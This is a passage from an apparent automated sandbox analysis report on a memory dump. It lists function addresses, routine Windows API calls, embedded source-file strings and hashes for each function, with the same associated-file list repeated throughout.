ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 111430C0
SetBkColor.GDI32(?,00000000), ref: 111430C8

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Color$RectText
String ID:
API String ID: 4034337308-0
Opcode ID: 26f6cc05d1df662940a62fe5a538b52049d671c1388398b7ccd782556aa038f2
Instruction ID: e9225e88152d902865c43eb673e3150d6d7e7d22167fd17714d79550e5345a2a
Opcode Fuzzy Hash: 26f6cc05d1df662940a62fe5a538b52049d671c1388398b7ccd782556aa038f2
Instruction Fuzzy Hash: 0C012C7264021CBBDB04DEA8DD81FEFB3ACEF49604F104159FA15A7280DAB0AD018BA5

Uniqueness

Uniqueness Score: -1.00%

Function 1115F1F0, Relevance: 6.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

GlobalDeleteAtom.KERNEL32 ref: 1115F208
GlobalDeleteAtom.KERNEL32 ref: 1115F212
GlobalDeleteAtom.KERNEL32 ref: 1115F21C
SetWindowLongA.USER32 ref: 1115F22C

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AtomDeleteGlobal$LongWindow
String ID:
API String ID: 964255742-0
Opcode ID: 6d1c3e4c7ba79be894aa668b9e160f569f6102aeba86935b87fce5edf1bf1130
Instruction ID: 220dc2ec1870e2cd5bb434e19042b50d90bfbecd9004e1d9cbcb935e023cb0cc
Opcode Fuzzy Hash: 6d1c3e4c7ba79be894aa668b9e160f569f6102aeba86935b87fce5edf1bf1130
Instruction Fuzzy Hash: 97E065B910423697C7149F6AAC40D72F3ECAF98614715452DF175C3594C778D445DB70

Uniqueness

Uniqueness Score: -1.00%

Function 11147850, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00000400,?,00000000,00000000,00000010,00000401,?,?,745EC740,00000010), ref: 111478DB
wvsprintfA.USER32(00000010,?,?), ref: 111478F2

Strings

ERROR TOO LONG: fmt_string=<%s>, s=<%.80s>, xrefs: 1114790A

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FormatMessagewvsprintf
String ID: ERROR TOO LONG: fmt_string=<%s>, s=<%.80s>
API String ID: 65494530-3330918973
Opcode ID: 84ff1f22b3e63b30bcd43db78ed2a3d83fe9186dadbe20577e5398af88fbbc10
Instruction ID: 19ecc3acc586c3c0044aa7ac842438cb7b35c94f742bf7000cc937f5be2b0cb7
Opcode Fuzzy Hash: 84ff1f22b3e63b30bcd43db78ed2a3d83fe9186dadbe20577e5398af88fbbc10
Instruction Fuzzy Hash: 3E21B6B5D0026DAEEB10CF90DC81FEAFBBCEB44618F104169E61993640E7756E44CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 110D3860, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 110D3873

Part of subcall function 11161299: std::exception::exception.LIBCMT ref: 111612AE
Part of subcall function 11161299: __CxxThrowException@8.LIBCMT ref: 111612C3
Part of subcall function 11161299: std::exception::exception.LIBCMT ref: 111612D4

_memmove.LIBCMT ref: 110D3898

Strings

vector<T> too long, xrefs: 110D386E

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: 5f0600b3e63c7920deeee6b861a6115367053e8a720765fec35e5f6b113ac635
Instruction ID: bc860f106dec8bc83aef8c82e713cf02e847ea217542ea3b2f930b8e358ed194
Opcode Fuzzy Hash: 5f0600b3e63c7920deeee6b861a6115367053e8a720765fec35e5f6b113ac635
Instruction Fuzzy Hash: 49014FB5A047029FD720DFADD881C67F7ECEF946583148A3DE59AC7644EA71F810C6A0

Uniqueness

Uniqueness Score: -1.00%

Function 110D0960, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

__strdup.LIBCMT ref: 110D097A

Strings

..\CTL32\NSMString.cpp, xrefs: 110D09BA
*this==pszSrc, xrefs: 110D09BF

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __strdup
String ID: *this==pszSrc$..\CTL32\NSMString.cpp
API String ID: 838363481-1175285396
Opcode ID: c917eaa9b957633061fccd270f9f02b9eee8379f1b96c65603f589f4ea0fd45f
Instruction ID: 29c62dc5338ff495c898086ff50a52fd619e2258fc3847dfd771a07a915be9b0
Opcode Fuzzy Hash: c917eaa9b957633061fccd270f9f02b9eee8379f1b96c65603f589f4ea0fd45f
Instruction Fuzzy Hash: 95F028B5E003525BEA00DE6AB804A9BFBD89FC2298F44847AE8DDE7311E570B405C6D4

Uniqueness

Uniqueness Score: -1.00%

Function 11015030, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00001006,00000000,?), ref: 1101509D

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h, xrefs: 11015044
m_hWnd, xrefs: 11015049

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h$m_hWnd
API String ID: 819365019-3966830984
Opcode ID: 815180139f2bb1a06bb201446d8668dccf0e5584833ed039e0ec19942fc9e912
Instruction ID: f09b96a616f6a33d867b0b5af4e6941d1959c252ec7f828cb2a239631c18db6c
Opcode Fuzzy Hash: 815180139f2bb1a06bb201446d8668dccf0e5584833ed039e0ec19942fc9e912
Instruction Fuzzy Hash: 1701A2B1D10219AFCB90CFA9C8457DEBBF4AB0C310F10816AE519F6240E67556808F94

Uniqueness

Uniqueness Score: -1.00%

Function 110151E0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,0000102D,00000000,?), ref: 11015229

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h, xrefs: 110151F4
m_hWnd, xrefs: 110151F9

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h$m_hWnd
API String ID: 819365019-3966830984
Opcode ID: bd39cd011623ecfe06393bf57d51be560d8a4fd4800ff0bf8f32089dc2d64717
Instruction ID: 9699e87d833f238af44183ea9879e136ee952ee53a84507d201ef9d6a93955d8
Opcode Fuzzy Hash: bd39cd011623ecfe06393bf57d51be560d8a4fd4800ff0bf8f32089dc2d64717
Instruction Fuzzy Hash: 19F0FEB5D0025DABCB14DF95DC85EDAB7F8EB4D310F00852AFD29A7240E770A950CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 11002130, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 1100213A

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

m_pToolbar, xrefs: 11002155
e:\nsmsrc\nsm\1210\1210f\ctl32\floatbar.h, xrefs: 11002150

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorExitLastMessageProcessWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\floatbar.h$m_pToolbar
API String ID: 2577986331-281161189
Opcode ID: 35783d953fd85d00738a6eb2ba99d550ce6056d1f12e3eeb32741e389c5bd5cf
Instruction ID: 060336b2bd4469f278674b99be49374638fb6687acdde2fc2171db53485ff0b1
Opcode Fuzzy Hash: 35783d953fd85d00738a6eb2ba99d550ce6056d1f12e3eeb32741e389c5bd5cf
Instruction Fuzzy Hash: C6E09239F00511ABE715CA65E844F8AF3E9BF98744F000165E515D3621C730EC01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 11001090, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32(?,?,?,?,?), ref: 110010C7

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110010A1
m_hWnd, xrefs: 110010A6

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Message$ErrorExitItemLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2046328329-2830328467
Opcode ID: c226bf07a577de758f5b5d732fabc6726861ac1fed5afbb268a848974a3c6e27
Instruction ID: 55addf44b20248d1cdc7b1377ce96882c1c4f69405d532d8ba5fa0b62c56eca9
Opcode Fuzzy Hash: c226bf07a577de758f5b5d732fabc6726861ac1fed5afbb268a848974a3c6e27
Instruction Fuzzy Hash: 8DE01AB661021DBFD714DE85EC81EEBB3ECEB49354F008529FA2A97240D6B0E850C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 11001050, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,?,?,?), ref: 11001083

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001061
m_hWnd, xrefs: 11001066

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 819365019-2830328467
Opcode ID: 3c93d44872c95809d5d96296b6c43cba7727a5ea0dc913bc3fcb2418da055862
Instruction ID: 50f06fe94c134d50a88b9402c61dae4da10641179b5ac6344e644b67b4693846
Opcode Fuzzy Hash: 3c93d44872c95809d5d96296b6c43cba7727a5ea0dc913bc3fcb2418da055862
Instruction Fuzzy Hash: 6AE04FB5A00219BBD710DE95DC45EDBB3DCEB48354F00842AF92597240D6B0F84087A0

Uniqueness

Uniqueness Score: -1.00%

Function 110010E0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

PostMessageA.USER32 ref: 11001113

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110010F1
m_hWnd, xrefs: 110010F6

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Message$ErrorExitLastPostProcesswsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 906220102-2830328467
Opcode ID: 81e23b17fbda055fd9539ba62cc9f5d3a9ce7d810db27e0af83b2e8161869047
Instruction ID: 934a8ee4ae924c1029923c78eea6d07b507986f249d0d3e5c029bc3c62824ea9
Opcode Fuzzy Hash: 81e23b17fbda055fd9539ba62cc9f5d3a9ce7d810db27e0af83b2e8161869047
Instruction Fuzzy Hash: 98E04FB5A10219BFD704CA85DC46EDAB39CEB48754F00802AF92597200D6B0E84087A0

Uniqueness

Uniqueness Score: -1.00%

Function 11014920, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000100C,?,?), ref: 11014955

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h, xrefs: 11014931
m_hWnd, xrefs: 11014936

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h$m_hWnd
API String ID: 819365019-3966830984
Opcode ID: f2a3c0d3cfced7c5c3dda1661dbef33a0b6579604b8e1cd23a7edc71262f0a53
Instruction ID: 5c73e6f47182196294df00340f3bbabbb3f0f620b7ffee236a9f04ae72b4d4db
Opcode Fuzzy Hash: f2a3c0d3cfced7c5c3dda1661dbef33a0b6579604b8e1cd23a7edc71262f0a53
Instruction Fuzzy Hash: A8E0CD79A00369BBD3209A91DC46FFBF39CDB45765F00C426FD5956140E6B0F940C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 11014130, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00001203,?,?), ref: 11014161

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\headctrl.h, xrefs: 1101413E
m_hWnd, xrefs: 11014143

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\headctrl.h$m_hWnd
API String ID: 819365019-3507600817
Opcode ID: a4e8f6c1e0f0e719e49bb50dc02c9156cf18e10f3a85b9adc6d500caaea46bf6
Instruction ID: ce752b6915aa01a8741080b9e5a2c0ea08f5e284845c2bca3d31cce01905913c
